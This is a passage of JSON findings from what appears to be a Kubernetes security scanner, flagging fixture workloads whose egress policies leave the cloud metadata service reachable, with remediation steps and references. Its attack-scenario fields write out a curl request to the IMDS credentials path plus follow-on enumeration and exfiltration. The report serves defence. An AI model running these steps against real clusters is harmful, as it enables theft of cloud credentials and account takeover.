      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:flat-network:api",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/flat-network/api` has an egress policy whose `ipBlock: 0.0.0.0/0` admits cloud IMDS (`169.254.169.254`)",
    "description": "Workload `Deployment/flat-network/api` is selected by NetworkPolicy `flat-network/allow-broad`, which contains an egress `to:` peer with `ipBlock.cidr: 0.0.0.0/0`. That CIDR includes `169.254.169.254` and the policy's `except:` list does not carve it out, so the cloud Instance Metadata Service is reachable from the selected pods.\n\nThis is the most common foot-gun in egress policies. Operators often add `ipBlock: 0.0.0.0/0` (or `169.254.0.0/16`, the full link-local range) to allow \"general internet\" or \"any AWS API\" reach, not realizing that the link-local IMDS endpoint is included in the same range. The defense is to add an `except: [169.254.169.254/32]` carve-out (or to use a narrower allow ipBlock that does not include link-local at all).\n\nOn AWS the second-layer defense is IMDSv2 with hop-limit = 1, which blocks pods on the host network from reaching IMDS via the node's address. But hop-limit only helps when the cluster-level NetworkPolicy is also in place; a pod with explicit egress to `0.0.0.0/0` can still construct an IMDSv2 request when the hop-limit allows it.",
    "resource": {
      "kind": "Deployment",
      "name": "api",
      "namespace": "flat-network",
      "api_group": "apps"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/flat-network/api`: egress to `169.254.169.254` is reachable."
    },
    "impact": "Despite having an egress NetworkPolicy in place, the workload retains a usable path to cloud IMDS. Container RCE -\u003e cloud-account compromise stays one curl away.",
    "attack_scenario": [
      "Attacker compromises a pod selected by `flat-network/allow-broad.spec.podSelector` (the policy that admits IMDS).",
      "They reach IMDS at `http://169.254.169.254/latest/meta-data/iam/security-credentials/` because the `ipBlock: 0.0.0.0/0` allow rule includes the IMDS IP.",
      "They exfiltrate the worker node's IAM credentials and pivot into the cloud account.",
      "The NetworkPolicy gives operators a false sense of \"egress is restricted\" while the most dangerous destination is still reachable.",
      "On AWS specifically, IMDSv2 hop-limit = 1 may have been deployed at the node level, but the NetworkPolicy's broad ipBlock means the pod can still issue an IMDSv2 token request that the hop-limit permits."
    ],
    "evidence": {
      "offender_cidr": "0.0.0.0/0",
      "offender_policy": "flat-network/allow-broad",
      "reason": "explicit-allow",
      "workload_kind": "Deployment",
      "workload_name": "api",
      "workload_namespace": "flat-network"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `flat-network` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec api -n flat-network -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:explicit-allow"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:flat-network:unmatched",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/flat-network/unmatched` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/flat-network/unmatched` runs in namespace `flat-network` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "unmatched",
      "namespace": "flat-network",
      "api_group": "apps"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/flat-network/unmatched`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/flat-network/unmatched` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "unmatched",
      "workload_namespace": "flat-network"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `flat-network` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec unmatched -n flat-network -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:foothold-fixtures:foothold-priv-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/foothold-fixtures/foothold-priv-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/foothold-fixtures/foothold-priv-app` runs in namespace `foothold-fixtures` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "foothold-priv-app",
      "namespace": "foothold-fixtures",
      "api_group": "apps"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/foothold-fixtures/foothold-priv-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/foothold-fixtures/foothold-priv-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "foothold-priv-app",
      "workload_namespace": "foothold-fixtures"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `foothold-fixtures` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec foothold-priv-app -n foothold-fixtures -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:foothold-fixtures:foothold-quiet-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/foothold-fixtures/foothold-quiet-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/foothold-fixtures/foothold-quiet-app` runs in namespace `foothold-fixtures` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "foothold-quiet-app",
      "namespace": "foothold-fixtures",
      "api_group": "apps"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/foothold-fixtures/foothold-quiet-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/foothold-fixtures/foothold-quiet-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "foothold-quiet-app",
      "workload_namespace": "foothold-fixtures"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `foothold-fixtures` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec foothold-quiet-app -n foothold-fixtures -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:gw-workloads:gw-web",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/gw-workloads/gw-web` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/gw-workloads/gw-web` runs in namespace `gw-workloads` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "gw-web",
      "namespace": "gw-workloads",
      "api_group": "apps"
    },
    "namespace": "gw-workloads",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/gw-workloads/gw-web`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/gw-workloads/gw-web` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "gw-web",
      "workload_namespace": "gw-workloads"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `gw-workloads` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec gw-web -n gw-workloads -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:hookbackend-fixtures:hookbackend-injector",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/hookbackend-fixtures/hookbackend-injector` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/hookbackend-fixtures/hookbackend-injector` runs in namespace `hookbackend-fixtures` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "hookbackend-injector",
      "namespace": "hookbackend-fixtures",
      "api_group": "apps"
    },
    "namespace": "hookbackend-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/hookbackend-fixtures/hookbackend-injector`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/hookbackend-fixtures/hookbackend-injector` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "hookbackend-injector",
      "workload_namespace": "hookbackend-fixtures"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `hookbackend-fixtures` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec hookbackend-injector -n hookbackend-fixtures -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
